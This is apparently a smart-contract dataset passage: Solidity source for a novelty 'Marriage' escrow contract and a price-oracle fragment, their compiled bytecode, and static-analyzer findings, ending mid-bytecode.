address preferredCoin = getPreferredCoinFromCoins(coins);
uint256 price = oracle().getPriceUsdcRecommended(preferredCoin);
if (price == 0) {
revert();
}
return (price * virtualPrice) / 10**18;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806394b9aaf6116100b8578063ceeb0afd1161007c578063ceeb0afd1461039a578063d61a7847146103ca578063dac79416146103fa578063f1be0eba1461042a578063fa17ade21461045a578063fdd8572c1461048a57610137565b806394b9aaf6146102be578063ab0909b5146102da578063ab64c24f1461030a578063b5a5050f1461033a578063c4e6c3ac1461036a57610137565b80633664855f116100ff5780633664855f146102185780635c1719c3146102485780638f84aa09146102665780639064a3c91461028457806393bb7181146102a057610137565b806301d62ee81461013c5780631ecc95cc1461016c57806324a592331461019c578063278e4153146101cc578063331a6bf5146101fc575b600080fd5b61015660048036038101906101519190611d2d565b6104ba565b6040516101639190611f2d565b60405180910390f35b61018660048036038101906101819190611d2d565b610643565b6040516101939190611ffe565b60405180910390f35b6101b660048036038101906101b19190611d2d565b610885565b6040516101c3919061202f565b60405180910390f35b6101e660048036038101906101e19190611d2d565b61090f565b6040516101f39190612059565b60405180910390f35b61021660048036038101906102119190611d2d565b610aa3565b005b610232600480360381019061022d9190611d2d565b610b74565b60405161023f919061202f565b60405180910390f35b610250610c0c565b60405161025d919061202f565b60405180910390f35b61026e610c32565b60405161027b919061202f565b60405180910390f35b61029e60048036038101906102999190611d2d565b610c56565b005b6102a8610d69565b6040516102b5919061202f565b60405180910390f35b6102d860048036038101906102d39190611d2d565b610d8f565b005b6102f460048036038101906102ef9190611d2d565b610ea2565b6040516103019190612059565b60405180910390f35b610324600480360381019061031f91906120a0565b610f06565b6040516103319190612059565b60405180910390f35b610354600480360381019061034f9190611d2d565b611130565b60405161036191906120fb565b60405180910390f35b610384600480360381019061037f9190611d2d565b611252565b60405161039191906120fb565b60405180910390f35b6103b460048036038101906103af9190611d2d565b61129e565b6040516103c19190612059565b60405180910390f35b6103e460048036038101906103df9190611d2d565b611349565b6040516103f19190612059565b60405180910390f35b610414600480360381019061040f9190611d2d565b61159e565b60405161042191906120fb565b60405180910390f35b610444600480360381019061043f9190611d2d565b6117a0565b6040516104519190612059565b60405180910390f35b610474600480360381019061046f9190611d2d565b61182a565b6040516104819190612059565b60405180910390f35b6104a4600480360381019061049f9190611d2d565b6118d9565b6040516104b191906120fb565b60405180910390f35b606060006104c783610643565b90506000815167ffffffffffffffff8111156104e6576104e5612116565b5b60405190808252806020026020018201604052801561051f57816020015b61050c611c61565b8152602001906001900390816105045790505b50905060005b825181101561063857600083828151811061054357610542612145565b5b6020026020010151905060008173ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b8152600401600060405180830381865afa15801561059a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906105c3919061226b565b905060006105d18885610f06565b905060405180606001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281525085858151811061061757610616612145565b5b60200260200101819052505050508080610630906122e3565b915050610525565b508092505050919050565b6060600080600867ffffffffffffffff81111561066357610662612116565b5b6040519080825280602002602001820160405280156106915781602001602082028036833780820191505090505b50905060005b6008811015610836576000808673ffffffffffffffffffffffffffffffffffffffff16836040516024016106cb9190612059565b6040516020818303038152906040527fc6610657000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107559190612373565b600060405180830381855afa9150503d8060008114610790576040519150601f19603f3d011682016040523d82523d6000602084013e610795565b606091505b5091509150811561081a576000818060200190518101906107b691906123c8565b9050808585815181106107cc576107cb612145565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508580610811906122e3565b96505050610821565b5050610836565b5050808061082e906122e3565b915050610697565b5060008160405160200161084a9190611ffe565b604051602081830303815290604052905082604082015260008180602001905181019061087791906124d2565b905080945050505050919050565b600061088f611937565b73ffffffffffffffffffffffffffffffffffffffff16639c7f117f836040518263ffffffff1660e01b81526004016108c7919061202f565b602060405180830381865afa1580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610908919061251b565b9050919050565b600061091a826118d9565b1561092f576109288261182a565b9050610a9e565b600061093a8361129e565b90506000610947846117a0565b905060006109536119d8565b73ffffffffffffffffffffffffffffffffffffffff166302d454576040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c1919061251b565b905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190612581565b60ff1690506000816012610a4891906125ae565b90506000601282610a5991906125e2565b600a610a65919061276b565b82600a610a72919061276b565b8787610a7e91906127b6565b610a8891906127b6565b610a92919061283f565b90508096505050505050505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b28906128cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b7f611a79565b73ffffffffffffffffffffffffffffffffffffffff1663a77576ef846040518263ffffffff1660e01b8152600401610bb7919061202f565b61010060405180830381865afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf9919061299e565b9050610c0481611b11565b915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb906128cd565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e14906128cd565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610eae83610885565b90506000610ebb82610643565b90506000805b8251811015610efa576000610ed68583610f06565b90508083610ee491906125e2565b9250508080610ef2906122e3565b915050610ec1565b50809350505050919050565b60008083905060008173ffffffffffffffffffffffffffffffffffffffff1663c6610657856040518263ffffffff1660e01b8152600401610f479190612059565b602060405180830381865afa158015610f64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f88919061251b565b905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190612581565b905060006110076119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306846040518263ffffffff1660e01b815260040161103f919061202f565b602060405180830381865afa15801561105c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108091906129e1565b9050600082600a6110919190612a0e565b828673ffffffffffffffffffffffffffffffffffffffff16634903b0d18a6040518263ffffffff1660e01b81526004016110cb9190612059565b602060405180830381865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c91906129e1565b61111691906127b6565b611120919061283f565b9050809550505050505092915050565b60008060001b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b815260040161118f90612aa5565b602060405180830381865afa1580156111ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d0919061251b565b73ffffffffffffffffffffffffffffffffffffffff1663317b39a7846040518263ffffffff1660e01b8152600401611208919061202f565b602060405180830381865afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112499190612afb565b14159050919050565b60008061125e83610885565b905060008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141590508092505050919050565b6000806112aa83610885565b905060006112b782610b74565b905060006112c36119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306836040518263ffffffff1660e01b81526004016112fb919061202f565b602060405180830381865afa158015611318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133c91906129e1565b9050809350505050919050565b600061135482611252565b15611369576113628261090f565b9050611599565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df91906129e1565b90506113e9611c98565b60005b60088110156114d1578373ffffffffffffffffffffffffffffffffffffffff1663c6610657826040518263ffffffff1660e01b815260040161142e9190612059565b602060405180830381865afa92505050801561146857506040513d601f19601f82011682018060405250810190611465919061251b565b60015b611471576114be565b8083836008811061148557611484612145565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050505b80806114c9906122e3565b9150506113ec565b5060006114dd82611b11565b905060006114e96119d8565b73ffffffffffffffffffffffffffffffffffffffff1663482ba306836040518263ffffffff1660e01b8152600401611521919061202f565b602060405180830381865afa15801561153e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156291906129e1565b9050600081141561157257600080fd5b670de0b6b3a7640000848261158791906127b6565b611591919061283f565b955050505050505b919050565b6000808273ffffffffffffffffffffffffffffffffffffffff1660006040516024016115ca9190612b6d565b6040516020818303038152906040527f68727653000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116549190612373565b600060405180830381855afa9150503d806000811461168f576040519150601f19603f3d011682016040523d82523d6000602084013e611694565b606091505b5050905080156116a857600191505061179b565b60008373ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f86fc88d3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117519190612373565b600060405180830381855afa9150503d806000811461178c576040519150601f19603f3d011682016040523d82523d6000602084013e611791565b606091505b5050905080925050505b919050565b60006117aa611a79565b73ffffffffffffffffffffffffffffffffffffffff1663c5b7074a836040518263ffffffff1660e01b81526004016117e2919061202f565b602060405180830381865afa1580156117ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182391906129e1565b9050919050565b60008061183683610ea2565b905060008373ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611885573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a991906129e1565b9050600081670de0b6b3a7640000846118c291906127b6565b6118cc919061283f565b9050809350505050919050565b6000806118e583610885565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461192c576119248161159e565b915050611932565b60009150505b919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b815260040161199290612bd4565b602060405180830381865afa1580156119af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d3919061251b565b905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663542535a26040518163ffffffff1660e01b8152600401611a3390612c40565b602060405180830381865afa158015611a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a74919061251b565b905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a262904b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0c919061251b565b905090565b60008060005b6008811015611c57576000848260088110611b3557611b34612145565b5b60200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611b7e5750611b7d81611130565b5b15611b8c5780925050611c57565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611bc4578092505b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2d5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611c385750600782145b15611c435750611c57565b508080611c4f906122e3565b915050611b17565b5080915050919050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081525090565b604051806101000160405280600890602082028036833780820191505090505090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cfa82611ccf565b9050919050565b611d0a81611cef565b8114611d1557600080fd5b50565b600081359050611d2781611d01565b92915050565b600060208284031215611d4357611d42611cc5565b5b6000611d5184828501611d18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611d8f81611cef565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611dcf578082015181840152602081019050611db4565b83811115611dde576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e0082611d95565b611e0a8185611da0565b9350611e1a818560208601611db1565b611e2381611de4565b840191505092915050565b6000819050919050565b611e4181611e2e565b82525050565b6000606083016000830151611e5f6000860182611d86565b5060208301518482036020860152611e778282611df5565b9150506040830151611e8c6040860182611e38565b508091505092915050565b6000611ea38383611e47565b905092915050565b6000602082019050919050565b6000611ec382611d5a565b611ecd8185611d65565b935083602082028501611edf85611d76565b8060005b85811015611f1b5784840389528151611efc8582611e97565b9450611f0783611eab565b925060208a01995050600181019050611ee3565b50829750879550505050505092915050565b60006020820190508181036000830152611f478184611eb8565b905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6000611f878383611d86565b60208301905092915050565b6000602082019050919050565b6000611fab82611f4f565b611fb58185611f5a565b9350611fc083611f6b565b8060005b83811015611ff1578151611fd88882611f7b565b9750611fe383611f93565b925050600181019050611fc4565b5085935050505092915050565b600060208201905081810360008301526120188184611fa0565b905092915050565b61202981611cef565b82525050565b60006020820190506120446000830184612020565b92915050565b61205381611e2e565b82525050565b600060208201905061206e600083018461204a565b92915050565b61207d81611e2e565b811461208857600080fd5b50565b60008135905061209a81612074565b92915050565b600080604083850312156120b7576120b6611cc5565b5b60006120c585828601611d18565b92505060206120d68582860161208b565b9150509250929050565b60008115159050919050565b6120f5816120e0565b82525050565b600060208201905061211060008301846120ec565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b61218782611de4565b810181811067ffffffffffffffff821117156121a6576121a5612116565b5b80604052505050565b60006121b9611cbb565b90506121c5828261217e565b919050565b600067ffffffffffffffff8211156121e5576121e4612116565b5b6121ee82611de4565b9050602081019050919050565b600061220e612209846121ca565b6121af565b90508281526020810184848401111561222a57612229612179565b5b612235848285611db1565b509392505050565b600082601f83011261225257612251612174565b5b81516122628482602086016121fb565b91505092915050565b60006020828403121561228157612280611cc5565b5b600082015167ffffffffffffffff81111561229f5761229e611cca565b5b6122ab8482850161223d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122ee82611e2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612321576123206122b4565b5b600182019050919050565b600081519050919050565b600081905092915050565b600061234d8261232c565b6123578185612337565b9350612367818560208601611db1565b80840191505092915050565b600061237f8284612342565b915081905092915050565b600061239582611ccf565b9050919050565b6123a58161238a565b81146123b057600080fd5b50565b6000815190506123c28161239c565b92915050565b6000602082840312156123de576123dd611cc5565b5b60006123ec848285016123b3565b91505092915050565b600067ffffffffffffffff8211156124105761240f612116565b5b602082029050602081019050919050565b600080fd5b60008151905061243581611d01565b92915050565b600061244e612449846123f5565b6121af565b9050808382526020820190506020840283018581111561247157612470612421565b5b835b8181101561249a57806124868882612426565b845260208401935050602081019050612473565b5050509392505050565b600082601f8301126124b9576124b8612174565b5b81516124c984826020860161243b565b91505092915050565b6000602082840312156124e8576124e7611cc5565b5b600082015167ffffffffffffffff81111561250657612505611cca565b5b612512848285016124a4565b91505092915050565b60006020828403121561253157612530611cc5565b5b600061253f84828501612426565b91505092915050565b600060ff82169050919050565b61255e81612548565b811461256957600080fd5b50565b60008151905061257b81612555565b92915050565b60006020828403121561259757612596611cc5565b5b60006125a58482850161256c565b91505092915050565b60006125b982611e2e565b91506125c483611e2e565b9250828210156125d7576125d66122b4565b5b828203905092915050565b60006125ed82611e2e565b91506125f883611e2e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561262d5761262c6122b4565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b600185111561268f5780860481111561266b5761266a6122b4565b5b600185161561267a5780820291505b808102905061268885612638565b945061264f565b94509492505050565b6000826126a85760019050612764565b816126b65760009050612764565b81600181146126cc57600281146126d657612705565b6001915050612764565b60ff8411156126e8576126e76122b4565b5b8360020a9150848211156126ff576126fe6122b4565b5b50612764565b5060208310610133831016604e8410600b841016171561273a5782820a905083811115612735576127346122b4565b5b612764565b6127478484846001612645565b9250905081840481111561275e5761275d6122b4565b5b81810290505b9392505050565b600061277682611e2e565b915061278183611e2e565b92506127ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612698565b905092915050565b60006127c182611e2e565b91506127cc83611e2e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612805576128046122b4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061284a82611e2e565b915061285583611e2e565b92508261286557612864612810565b5b828204905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128b7602083612870565b91506128c282612881565b602082019050919050565b600060208201905081810360008301526128e6816128aa565b9050919050565b600067ffffffffffffffff82111561290857612907612116565b5b602082029050919050565b6000612926612921846128ed565b6121af565b905080602084028301858111156129405761293f612421565b5b835b8181101561296957806129558882612426565b845260208401935050602081019050612942565b5050509392505050565b600082601f83011261298857612987612174565b5b6008612995848285612913565b91505092915050565b600061010082840312156129b5576129b4611cc5565b5b60006129c384828501612973565b91505092915050565b6000815190506129db81612074565b92915050565b6000602082840312156129f7576129f6611cc5565b5b6000612a05848285016129cc565b91505092915050565b6000612a1982611e2e565b9150612a2483612548565b9250612a517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612698565b905092915050565b7f43414c43554c4154494f4e535f434841494e4c494e4b00000000000000000000600082015250565b6000612a8f601683612870565b9150612a9a82612a59565b602082019050919050565b60006020820190508181036000830152612abe81612a82565b9050919050565b6000819050919050565b612ad881612ac5565b8114612ae357600080fd5b50565b600081519050612af581612acf565b92915050565b600060208284031215612b1157612b10611cc5565b5b6000612b1f84828501612ae6565b91505092915050565b6000819050919050565b6000819050919050565b6000612b57612b52612b4d84612b28565b612b32565b612548565b9050919050565b612b6781612b3c565b82525050565b6000602082019050612b826000830184612b5e565b92915050565b7f43555256455f52454749535452595f4f56455252494445530000000000000000600082015250565b6000612bbe601883612870565b9150612bc982612b88565b602082019050919050565b60006020820190508181036000830152612bed81612bb1565b9050919050565b7f4f5241434c450000000000000000000000000000000000000000000000000000600082015250565b6000612c2a600683612870565b9150612c3582612bf4565b602082019050919050565b60006020820190508181036000830152612c5981612c1d565b905091905056fea26469706673582212201577ca6bf3de5b9369cac871fd6471149442de72d55e493759a8d7b7d5df871464736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,082 |
0xfbe0aa2c264f1113c6639bdd09fb10e907f33a20
|
pragma solidity 0.4.20;
library StrUtil {
function concat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function uintToBytes(uint v) internal pure returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function uintToString(uint v) internal pure returns (string) {
return bytes32ToString(uintToBytes(v));
}
}
library DateTime {
using StrUtil for string;
/*
* Date and Time utilities for ethereum contracts
*
*/
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function monthStr(uint timestamp) internal pure returns (string ret) {
uint8 month = getMonth(timestamp);
if (month == 1) { ret = "Jan"; }
if (month == 2) { ret = "Feb"; }
if (month == 3) { ret = "Mar"; }
if (month == 4) { ret = "Apr"; }
if (month == 5) { ret = "May"; }
if (month == 6) { ret = "Jun"; }
if (month == 7) { ret = "Jul"; }
if (month == 8) { ret = "Aug"; }
if (month == 9) { ret = "Sept"; }
if (month == 10) { ret = "Oct"; }
if (month == 11) { ret = "Nov"; }
if (month == 12) { ret = "Dec"; }
}
function toString(uint timestamp) internal pure returns (string ret) {
string memory month = monthStr(timestamp);
string memory day = StrUtil.uintToString(getDay(timestamp));
string memory year = StrUtil.uintToString(getYear(timestamp));
ret = ret.concat(day)
.concat(" ")
.concat(month)
.concat(" ")
.concat(year);
}
}
contract Marriage {
using StrUtil for string;
enum Status {
Affianced,
SignedByGroom,
Married
}
Status status = Status.Affianced;
address groomAddr;
address brideAddr;
uint256 public marriedAt = 0;
uint256 groomSignedAt = 0;
uint256 deposite = 0;
string public groom;
string public bride;
string public groomVow;
string public brideVow;
function Marriage(address _groomAddr, address _brideAddr,
string _groom, string _bride) public {
groomAddr = _groomAddr;
brideAddr = _brideAddr;
groom = _groom;
bride = _bride;
groomVow = groomVow
.concat("I, ")
.concat(_groom)
.concat(", take thee, ")
.concat(_bride)
.concat(", to be my wedded Wife, to have and to hold from this day forward, for better for worse, for richer for poorer, in sickness and in health, to love and to cherish, till death us do part.");
brideVow = brideVow
.concat("I, ")
.concat(_bride)
.concat(", take thee, ")
.concat(_groom)
.concat(", to be my wedded Husband, to have and to hold from this day forward, for better for worse, for richer for poorer, in sickness and in health, to love, cherish, and to obey, till death us do part.");
}
function () external payable {
doMarriage();
}
function doMarriage() private {
if (msg.sender == groomAddr) {
signByGroom();
} else if (msg.sender == brideAddr) {
signByBride();
} else {
revert();
}
}
function signByGroom() private onlyGroom {
require(status == Status.Affianced);
// groom has to deposite at least a half of his balance to initiate marriage
require(msg.value > 0);
require(msg.value >= groomAddr.balance);
deposite = msg.value;
groomSignedAt = now;
status = Status.SignedByGroom;
}
function signByBride() private onlyBride {
require(status == Status.SignedByGroom);
marriedAt = now;
status = Status.Married;
// just in case if bride sent some funds
// it's gonna be added to the family budget :)
groomAddr.transfer(deposite + msg.value);
}
function cancel() external onlyGroom {
require(status == Status.SignedByGroom);
require(now - groomSignedAt >= 1 minutes);
status = Status.Affianced;
groomAddr.transfer(deposite);
}
function getStatus() public view returns (string ret) {
if (status == Status.Affianced) {
ret = ret.concat(groom)
.concat(" and ")
.concat(bride)
.concat(" are affianced");
} else if (status == Status.SignedByGroom) {
ret = ret.concat(groom)
.concat(" has signed");
} else {
ret = ret.concat(groom)
.concat(" and ")
.concat(bride)
.concat(" got married on ")
.concat(DateTime.toString(marriedAt));
}
}
modifier onlyGroom() {
require(msg.sender == groomAddr);
_;
}
modifier onlyBride() {
require(msg.sender == brideAddr);
_;
}
}
|
0x606060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806314f9e35b1461008d578063269695fe1461011b5780634e69d560146101a957806383206e7814610237578063b7f43a6314610260578063c9e077e6146102ee578063ea8a1af01461037c575b61008b610391565b005b341561009857600080fd5b6100a061045f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561012657600080fd5b61012e6104fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b457600080fd5b6101bc61059b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fc5780820151818401526020810190506101e1565b50505050905090810190601f1680156102295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024257600080fd5b61024a610af0565b6040518082815260200191505060405180910390f35b341561026b57600080fd5b610273610af6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b3578082015181840152602081019050610298565b50505050905090810190601f1680156102e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102f957600080fd5b610301610b94565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610341578082015181840152602081019050610326565b50505050905090810190601f16801561036e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561038757600080fd5b61038f610c32565b005b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f4576103ef610d5e565b61045d565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561045757610452610e77565b61045c565b600080fd5b5b565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104f55780601f106104ca576101008083540402835291602001916104f5565b820191906000526020600020905b8154815290600101906020018083116104d857829003601f168201915b505050505081565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200